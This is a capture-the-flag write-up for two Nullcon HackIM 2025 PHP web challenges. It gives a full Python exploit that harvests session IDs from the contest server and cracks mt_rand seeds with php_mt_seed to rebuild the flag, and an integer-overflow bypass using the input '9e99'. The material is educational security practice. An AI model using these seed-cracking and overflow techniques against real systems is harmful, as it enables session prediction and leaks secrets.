Nullcon HackIM 2025 - Writeups
Reverse the seeded number in number generator by given generated numbers + overflow in integer processing in PHP
Sess.io (50 points, 11th solve/75 solves)
Theory
Here is the source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-"));
ini_set("error_reporting", 0);
if(isset($_GET['source'])) {
highlight_file(__FILE__);
}
include "flag.php"; // $FLAG
$SEEDS = str_split($FLAG, 4);
function session_id_secure($id) {
global $SEEDS;
mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]),16));
$id = "";
for($i=0;$i<1000;$i++) {
$id .= ALPHA[mt_rand(0,count(ALPHA)-1)];
}
return $id;
}
if(isset($_POST['username']) && isset($_POST['password'])) {
session_id(session_id_secure($_POST['username'] . $_POST['password']));
session_start();
echo "Thank you for signing up!";
}else {
echo "Please provide the necessary data!";
}
?>
ALPHA array take the valid of character, flag is stored in parameter $SEEDS, it is an array which each index is 4 splitted part of the flag. Example:
$flag | $SEEDS |
---|---|
FLAG{testflag1234567890} | SEEDS[0]: FLAG |
SEEDS[1]: {tes | |
SEEDS[2]: tfla | |
SEEDS[3]: g123 | |
SEEDS[4]: 4567 | |
SEEDS[5]: 890} |
$SEEDS is processed in the function session_id_secure():
- First, it take our input (username+password) and compute MD5 hash, then take the first index (which is a number) to compute the modulo with number of index in $SEEDS array. The output of this part is the which index of $SEEDS is being processed:
1
$SEEDS[md5($id)[0] % (count($SEEDS))]
- Then it convert the flag part to the hexadecimal representation by
1
bin2hex()
- Calculate the decimal representation of the hex
1
intval()
- Use the given number to be the seed of number generator
1
mt_srand()
Then it do a loop for generating session_id with range is number of index in ALPHA
1
2
3
for($i=0;$i<1000;$i++) {
$id .= ALPHA[mt_rand(0,count(ALPHA)-1)];
}
After sign up, we got session id, example: username = test password = test
id = 8bwxvicb2ogv13akeawjgpxzh_x-1zxogrg-ze1xdorambake92o27sd9kn4fgbvlw7vm15uw_qbx5ifcrz5ugk8-lgoybttwaw_m_19o2611uom602f19-sy4gk-dslc7tiiorkh1kvjo3aurufnxon8ml58ceuj4d4leyzsxpicikz5pjon5hrfhmyo5v8ud-_0r5p6tcn94lgype692h205tlfo8upoysem52onxn6gj5x81lhbsect0x0kujehsgmbqglydjws8817c7tn9in_l8si2e97qen1k7lf9aepk9qcofm5n9rmuqfswar3rh_j6k0povdq21_9_60fii3wvmebsmmka24une_6r6tlfn_ywql-meyw47b4-wnhr3g0pjlfnlj6cxdka2bzp7j-xybc8dzlwgaepsv2sdm0153eh4uaeum5f4qft91t-nr71t8ys2e2bahnm3o819g83hpwmsyevsh_8cv_ckkqulh10hxf5npmz-rtnzw3kegyu-ngatj-lkqz4xjjfch-qpj870t856-74wom5k042_1fsn34yab7labrlch0bo5eigni1az-r4v695eofu6hy6-ti77l-650m-wwptpbe3xcyggoq6128j5g7zpyzw17as4h1txpozjj5uil1l9f7kp5qzavaitcrqwnruxo36y-0o-p-1dxqixem1-vsgxvz5fi18e6yldwxioyniy42xoq1hf41_ttiy1eatedfb69ebmwk9-nponqejdxvdj4q6xzy2e57fi62wieog5d7vv3cc6btfpwjh5778a7q_uz92tzff2bc46jryvg4upb69o1dc-s1i-5to7vnw0dg7vdmfvdh-9r6y6zazsr04efigi-yt3mu5eahregt-x4k5yie5ko272pvmoqi58rwcl-yb529jbxwndr3qprby-la87byucmmprkk5dj-bzofyua2dj25x4el4x9u-l8op-3_7a5wqi2
So our mission is recovering the flag with given session_id, and i found a tool php_mt_seed, here is the notable command-line syntax:
Cause of that we have small range that passed into mt_rand(), means we need to invoked with 5 or numbers option to have the right seed. Based on our session id, i will use the first part for the cracker: 8bwxvicb2ogv1
8 is 34th index from ALPHA, which is generated number from given seed is 34, so we will need a script to check the character index (i used chatGPT btw).
1
2
3
4
5
6
def check_index(sessid):
ALPHA = "abcdefghijklmnopqrstuvwxyz0123456789_-"
return [ALPHA.index(c) for c in id]
id = '8bwxvicb2ogv1'
print(check_index(id))
=> [34, 1, 22, 23, 21, 8, 2, 1, 28, 14, 6, 21, 27]
we found the seed number is 1162760059
, the hex representation is 0x454e4f7b, decode to ascii we got ENO{ which is the first part of flag.
Combine them together
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import hashlib
import random
import requests
import subprocess
import binascii
CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
TARGET = 'http://52.59.124.14:5008/'
def gen_cres():
cres = {}
hashs = [str(i) for i in range(10)]
while hashs:
username = ''.join(random.choices(CHARS, k=5))
password = ''.join(random.choices(CHARS, k=5))
hash_char = hashlib.md5((username + password).encode()).hexdigest()[0]
if hash_char in hashs:
cres[hash_char] = (username, password)
hashs.remove(hash_char)
print(cres)
return cres
def get_sessid():
sess_ids = {}
credentials = gen_cres()
for i in range(10):
print(credentials[str(i)])
response = requests.post(TARGET, data={'username': credentials[str(i)][0], 'password': credentials[str(i)][1]})
sess_id = response.cookies['PHPSESSID']
sess_ids[i] = sess_id[:10]
return sess_ids
def crack_seed():
ALPHA = "abcdefghijklmnopqrstuvwxyz0123456789_-"
flag = ''
sessids = get_sessid()
for i in range(10):
sessid = sessids[i]
nums = [ALPHA.index(c) for c in sessid]
print(nums)
cmd = ["./php_mt_seed"]
for i in range(10):
cmd.extend([str(nums[i]), str(nums[i]), "0", "37"])
print(f"Running command: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True)
for line in result.stdout.splitlines():
if line.startswith("seed = "):
hex_seed = line.split("=")[1].strip()
hex_seed = hex_seed[2:]
print(f"Seeds: {hex_seed}")
flag += binascii.unhexlify(hex_seed).decode('ascii')
print(f"[+] Flag part: {flag}")
print(f'[*] Final flag: {flag}')
crack_seed()
Remember to put the php_mt_seed cracker in the same folder with script to run properly.
[*] Final flag: ENO{SOME_SUPER_SECURE_FLAG_1333337_HACK}
Numberizer (50 points, 6th solves/361 solves)
We got a simple form that can sum up our numbers.
Here is the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
ini_set("error_reporting", 0);
if(isset($_GET['source'])) {
highlight_file(__FILE__);
}
include "flag.php";
$MAX_NUMS = 5;
if(isset($_POST['numbers']) && is_array($_POST['numbers'])) {
$numbers = array();
$sum = 0;
for($i = 0; $i < $MAX_NUMS; $i++) {
if(!isset($_POST['numbers'][$i]) || strlen($_POST['numbers'][$i])>4 || !is_numeric($_POST['numbers'][$i])) {
continue;
}
$the_number = intval($_POST['numbers'][$i]);
if($the_number < 0) {
continue;
}
$numbers[] = $the_number;
}
$sum = intval(array_sum($numbers));
if($sum < 0) {
echo "You win a flag: $FLAG";
} else {
echo "You win nothing with number $sum ! :-(";
}
}
?>
All we can do is clearly that make the sums is negative, but it skips all negative numbers? Take a look at intval() manual:
This function have its limit, and if exceed the maximun => becomes negative as below:
Line 17 limits our number’s length is 4 character, we can simply bypass it with: 9e99
(idk what its called)
ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}
Disclaimer
I’m very happy that @RaptX placed 22nd out of 1,115 teams in this CTF! However, I’m a bit sad that the second wave consisted entirely of four crypto challenges. Big thanks to ENOFLAG for hosting, and congratulations to RaptX!